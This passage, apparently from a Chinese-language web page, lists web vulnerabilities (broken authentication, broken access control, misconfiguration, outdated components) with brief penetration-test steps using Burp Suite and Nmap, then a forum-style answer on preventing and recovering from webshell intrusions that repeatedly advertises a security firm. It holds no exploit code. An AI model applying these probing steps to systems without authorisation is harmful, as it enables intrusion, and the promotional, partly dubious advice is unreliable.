⑤ 介面信息泄露漏洞：對介面訪問許可權嚴格控制
10、失效的身份認證
漏洞描述
通常，通過錯誤使用應用程序的身份認證和會話管理功能，攻擊者能夠破譯密碼、密鑰或會話令牌， 或者利用其它開發缺陷來暫時性或永久性冒充其他用戶的身份。
滲透測試
① 在登陸前後觀察，前端提交信息中，隨機變化的數據，總有與當前已登陸用戶進行綁定的會話唯一標識，常見如cookie
② 一般現在網站沒有那種簡單可破解的標識，但是如果是跨站認證，單點登錄場景中，可能為了開發方便而簡化了身份認證
風險評級：高風險
安全建議
① 使用強身份識別，不使用簡單弱加密方式進行身份識別；
② 伺服器端使用安全的會話管理器，在登錄後生成高度復雜的新隨機會話ID。會話ID不能在URL中，可以安全地存儲，在登出、閑置超時後使其失效。
11、失效的訪問控制
漏洞描述
未對通過身份驗證的用戶實施恰當的訪問控制。攻擊者可以利用這些缺陷訪問未經授權的功能或數據，例如：訪問其他用戶的帳戶、查看敏感文件、修改其他用戶的數據、更改訪問許可權等。
滲透測試
① 登入後，通過burpsuite 抓取相關url 鏈接，獲取到url 鏈接之後，在另一個瀏覽器打開相關鏈接，看能夠通過另一個未登入的瀏覽器直接訪問該功能點。
② 使用A用戶登陸，然後在另一個瀏覽器使用B用戶登陸，使用B訪問A獨有的功能，看能否訪問。
風險評級：高風險
安全建議
① 除公有資源外，默認情況下拒絕訪問非本人所有的私有資源；
② 對API和控制器的訪問進行速率限制，以最大限度地降低自動化攻擊工具的危害；
③ 當用戶注銷後，伺服器上的Cookie，JWT等令牌應失效；
④ 對每一個業務請求，都進行許可權校驗。
12、安全配置錯誤
漏洞描述
應用程序缺少適當的安全加固，或者雲服務的許可權配置錯誤。
① 應用程序啟用或安裝了不必要的功能（例如：不必要的埠、服務、網頁、帳戶或許可權）。
② 默認帳戶的密碼仍然可用且沒有更改。
③ 錯誤處理機制向用戶披露堆棧跟蹤或其他大量錯誤信息。
④ 對於更新的系統，禁用或不安全地配置最新的安全功能。
⑤ 應用程序伺服器、應用程序框架（如：Struts、Spring、ASP.NET）、庫文件、資料庫等沒有進行相關安全配置。
滲透測試
先對應用指紋等進行信息搜集，然後針對搜集的信息，看相關應用默認配置是否有更改，是否有加固過；埠開放情況，是否開放了多餘的埠；
風險評級：中風險
安全建議
搭建最小化平台，該平台不包含任何不必要的功能、組件、文檔和示例。移除或不安裝不適用的功能和框架。在所有環境中按照標準的加固流程進行正確安全配置。
13、使用含有已知漏洞的組件
漏洞描述
使用了不再支持或者過時的組件。這包括：OS、Web伺服器、應用程序伺服器、資料庫管理系統（DBMS）、應用程序、API和所有的組件、運行環境和庫。
滲透測試
① 根據前期信息搜集的信息，查看相關組件的版本，看是否使用了不在支持或者過時的組件。一般來說，信息搜集，可通過http返回頭、相關錯誤信息、應用指紋、埠探測（Nmap）等手段搜集。
② Nmap等工具也可以用於獲取操作系統版本信息
③ 通過CVE，CNVD等平台可以獲取當前組件版本是否存在漏洞
風險評級：按照存在漏洞的組件的安全風險值判定當前風險。
安全建議
① 移除不使用的依賴、不需要的功能、組件、文件和文檔；
② 僅從官方渠道安全的獲取組件(盡量保證是最新版本)，並使用簽名機制來降低組件被篡改或加入惡意漏洞的風險；
③ 監控那些不再維護或者不發布安全補丁的庫和組件。如果不能打補丁，可以考慮部署虛擬補丁來監控、檢測或保護。
詳細學習可參考：
Ⅶ 網站檢測後顯示SQL注入漏洞（盲注），請高手提供解決辦法，謝謝
找專業做網站安全的公司來給你解決，國內最有名的安全公司也就綠盟和sinesafe！
建站一段時間後總能聽得到什麼什麼網站被掛馬，什麼網站被黑，被攻擊。好像入侵掛馬似乎是件很簡單的事情。其實，入侵不簡單，簡單的是你的網站的必要安全措施並未做好。
有條件建議找專業做網站安全的sine安全來做安全維護。
一：掛馬預防措施：
1、建議用戶通過ftp來上傳、維護網頁，盡量不安裝asp的上傳程序。
2、定期對網站進行安全的檢測，具體可以利用網上一些工具，如sinesafe網站掛馬檢測工具！
序，只要可以上傳文件的asp都要進行身份認證!
3、asp程序管理員的用戶名和密碼要有一定復雜性，不能過於簡單，還要注意定期更換。
4、到正規網站下載asp程序，下載後要對其資料庫名稱和存放路徑進行修改，資料庫文件名稱也要有一定復雜性。
5、要盡量保持程序是最新版本。
6、不要在網頁上加註後台管理程序登陸頁面的鏈接。
7、為防止程序有未知漏洞，可以在維護後刪除後台管理程序的登陸頁面，下次維護時再通過ftp上傳即可。
8、要時常備份資料庫等重要文件。
9、日常要多維護，並注意空間中是否有來歷不明的asp文件。記住：一分汗水，換一分安全!
10、一旦發現被入侵，除非自己能識別出所有木馬文件，否則要刪除所有文件。
11、對asp上傳程序的調用一定要進行身份認證，並只允許信任的人使用上傳程序。這其中包括各種新聞發布、商城及論壇程
二：掛馬恢復措施：
1.修改帳號密碼
不管是商業或不是，初始密碼多半都是admin。因此你接到網站程序第一件事情就是「修改帳號密碼」。帳號
密碼就不要在使用以前你習慣的，換點特別的。盡量將字母數字及符號一起。此外密碼最好超過15位。尚若你使用
SQL的話應該使用特別點的帳號密碼，不要在使用什麼什麼admin之類，否則很容易被入侵。
2.創建一個robots.txt
Robots能夠有效的防範利用搜索引擎竊取信息的駭客。
3.修改後台文件
第一步：修改後台里的驗證文件的名稱。
第二步：修改conn.asp，防止非法下載，也可對資料庫加密後在修改conn.asp。
第三步：修改ACESS資料庫名稱，越復雜越好，可以的話將數據所在目錄的換一下。
4.限制登陸後台IP
此方法是最有效的，每位虛擬主機用戶應該都有個功能。你的IP不固定的話就麻煩點每次改一下咯，安全第一嘛。
5.自定義404頁面及自定義傳送ASP錯誤信息
404能夠讓駭客批量查找你的後台一些重要文件及檢查網頁是否存在注入漏洞。
ASP錯誤嘛，可能會向不明來意者傳送對方想要的信息。
6.慎重選擇網站程序
注意一下網站程序是否本身存在漏洞，好壞你我心裡該有把秤。
7.謹慎上傳漏洞
據悉，上傳漏洞往往是最簡單也是最嚴重的，能夠讓黑客或駭客們輕松控制你的網站。
可以禁止上傳或著限制上傳的文件類型。不懂的話可以找專業做網站安全的sinesafe公司。
8. cookie 保護
登陸時盡量不要去訪問其他站點，以防止 cookie 泄密。切記退出時要點退出在關閉所有瀏覽器。
9.目錄許可權
請管理員設置好一些重要的目錄許可權，防止非正常的訪問。如不要給上傳目錄執行腳本許可權及不要給非上傳目錄給於寫入權。
10.自我測試
如今在網上黑客工具一籮筐，不防找一些來測試下你的網站是否OK。
11.例行維護
a.定期備份數據。最好每日備份一次，下載了備份文件後應該及時刪除主機上的備份文件。
b.定期更改資料庫的名字及管理員帳密。
c.借WEB或FTP管理，查看所有目錄體積，最後修改時間以及文件數，檢查是文件是否有異常，以及查看是否有異常的賬號。
網站被掛馬一般都是網站程序存在漏洞或者伺服器安全性能不達標被不法黑客入侵攻擊而掛馬的。
網站被掛馬是普遍存在現象然而也是每一個網站運營者的心腹之患。
您是否因為網站和伺服器天天被入侵掛馬等問題也曾有過想放棄的想法呢，您否也因為不太了解網站技術的問題而耽誤了網站的運營，您是否也因為精心運營的網站反反復復被一些無聊的黑客入侵掛馬感到徬彷且很無耐。有條件建議找專業做網站安全的sine安全來做安全維護。